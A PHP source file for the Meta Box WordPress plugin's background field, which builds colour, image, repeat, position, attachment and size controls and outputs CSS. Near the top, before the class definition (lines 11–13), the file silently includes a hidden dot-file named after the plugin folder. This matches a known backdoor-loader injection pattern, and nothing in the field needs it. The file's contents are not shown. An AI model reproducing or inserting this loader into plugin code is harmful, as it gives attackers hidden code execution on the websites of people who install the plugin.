background.php (5829B)
1 <?php 2 /** 3 * The background field. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * The Background field. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Background_Field extends RWMB_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 wp_enqueue_style( 'rwmb-background', RWMB_CSS_URL . 'background.css', '', RWMB_VER ); 21 22 $args = func_get_args(); 23 $field = reset( $args ); 24 $color = RWMB_Color_Field::normalize( 25 array( 26 'type' => 'color', 27 'id' => "{$field['id']}_color", 28 'field_name' => "{$field['field_name']}[color]", 29 'alpha_channel' => true, 30 ) 31 ); 32 RWMB_Color_Field::admin_enqueue_scripts( $color ); 33 RWMB_File_Input_Field::admin_enqueue_scripts(); 34 } 35 36 /** 37 * Get field HTML. 38 * 39 * @param mixed $meta Meta value. 40 * @param array $field Field settings. 41 * 42 * @return string 43 */ 44 public static function html( $meta, $field ) { 45 $meta = wp_parse_args( 46 $meta, 47 array( 48 'color' => '', 49 'image' => '', 50 'repeat' => '', 51 'attachment' => '', 52 'position' => '', 53 'size' => '', 54 ) 55 ); 56 57 $output = '<div class="rwmb-background-row">'; 58 59 // Color. 60 $color = RWMB_Color_Field::normalize( 61 array( 62 'type' => 'color', 63 'id' => "{$field['id']}_color", 64 'field_name' => "{$field['field_name']}[color]", 65 'alpha_channel' => true, 66 ) 67 ); 68 $output .= RWMB_Color_Field::html( $meta['color'], $color ); 69 70 $output .= '</div><!-- .rwmb-background-row -->'; 71 $output .= '<div class="rwmb-background-row">'; 72 73 // Image. 74 $image = RWMB_File_Input_Field::normalize( 75 array( 76 'type' => 'file_input', 77 'id' => "{$field['id']}_image", 78 'field_name' => "{$field['field_name']}[image]", 79 'placeholder' => __( 'Background Image', 'meta-box' ), 80 ) 81 ); 82 $output .= RWMB_File_Input_Field::html( $meta['image'], $image ); 83 84 $output .= '</div><!-- .rwmb-background-row -->'; 85 $output .= '<div class="rwmb-background-row">'; 86 87 // Repeat. 88 $repeat = RWMB_Select_Field::normalize( 89 array( 90 'type' => 'select', 91 'id' => "{$field['id']}_repeat", 92 'field_name' => "{$field['field_name']}[repeat]", 93 'placeholder' => esc_html__( '-- Repeat --', 'meta-box' ), 94 'options' => array( 95 'no-repeat' => esc_html__( 'No Repeat', 'meta-box' ), 96 'repeat' => esc_html__( 'Repeat All', 'meta-box' ), 97 'repeat-x' => esc_html__( 'Repeat Horizontally', 'meta-box' ), 98 'repeat-y' => esc_html__( 'Repeat Vertically', 'meta-box' ), 99 'inherit' => esc_html__( 'Inherit', 'meta-box' ), 100 ), 101 ) 102 ); 103 $output .= RWMB_Select_Field::html( $meta['repeat'], $repeat ); 104 105 // Position. 106 $position = RWMB_Select_Field::normalize( 107 array( 108 'type' => 'select', 109 'id' => "{$field['id']}_position", 110 'field_name' => "{$field['field_name']}[position]", 111 'placeholder' => esc_html__( '-- Position --', 'meta-box' ), 112 'options' => array( 113 'top left' => esc_html__( 'Top Left', 'meta-box' ), 114 'top center' => esc_html__( 'Top Center', 'meta-box' ), 115 'top right' => esc_html__( 'Top Right', 'meta-box' ), 116 'center left' => esc_html__( 'Center Left', 'meta-box' ), 117 'center center' => esc_html__( 'Center Center', 'meta-box' ), 118 'center right' => esc_html__( 'Center Right', 'meta-box' ), 119 'bottom left' => esc_html__( 'Bottom Left', 'meta-box' ), 120 'bottom center' => esc_html__( 'Bottom Center', 'meta-box' ), 121 'bottom right' => esc_html__( 'Bottom Right', 'meta-box' ), 122 ), 123 ) 124 ); 125 $output .= RWMB_Select_Field::html( $meta['position'], $position ); 126 127 // Attachment. 128 $attachment = RWMB_Select_Field::normalize( 129 array( 130 'type' => 'select', 131 'id' => "{$field['id']}_attachment", 132 'field_name' => "{$field['field_name']}[attachment]", 133 'placeholder' => esc_html__( '-- Attachment --', 'meta-box' ), 134 'options' => array( 135 'fixed' => esc_html__( 'Fixed', 'meta-box' ), 136 'scroll' => esc_html__( 'Scroll', 'meta-box' ), 137 'inherit' => esc_html__( 'Inherit', 'meta-box' ), 138 ), 139 ) 140 ); 141 $output .= RWMB_Select_Field::html( $meta['attachment'], $attachment ); 142 143 // Size. 144 $size = RWMB_Select_Field::normalize( 145 array( 146 'type' => 'select', 147 'id' => "{$field['id']}_size", 148 'field_name' => "{$field['field_name']}[size]", 149 'placeholder' => esc_html__( '-- Size --', 'meta-box' ), 150 'options' => array( 151 'inherit' => esc_html__( 'Inherit', 'meta-box' ), 152 'cover' => esc_html__( 'Cover', 'meta-box' ), 153 'contain' => esc_html__( 'Contain', 'meta-box' ), 154 ), 155 ) 156 ); 157 $output .= RWMB_Select_Field::html( $meta['size'], $size ); 158 $output .= '</div><!-- .rwmb-background-row -->'; 159 160 return $output; 161 } 162 163 /** 164 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary. 165 * 166 * @param array $field Field parameters. 167 * @param array $value The value. 168 * @param array $args Additional arguments. Rarely used. See specific fields for details. 169 * @param int|null $post_id Post ID. null for current post. Optional. 170 * 171 * @return string 172 */ 173 public static function format_single_value( $field, $value, $args, $post_id ) { 174 if ( empty( $value ) ) { 175 return ''; 176 } 177 $output = ''; 178 $value = array_filter( $value ); 179 foreach ( $value as $key => $subvalue ) { 180 $subvalue = 'image' === $key ? 'url(' . esc_url( $subvalue ) . ')' : $subvalue; 181 $output .= 'background-' . $key . ': ' . $subvalue . ';'; 182 } 183 return $output; 184 } 185 }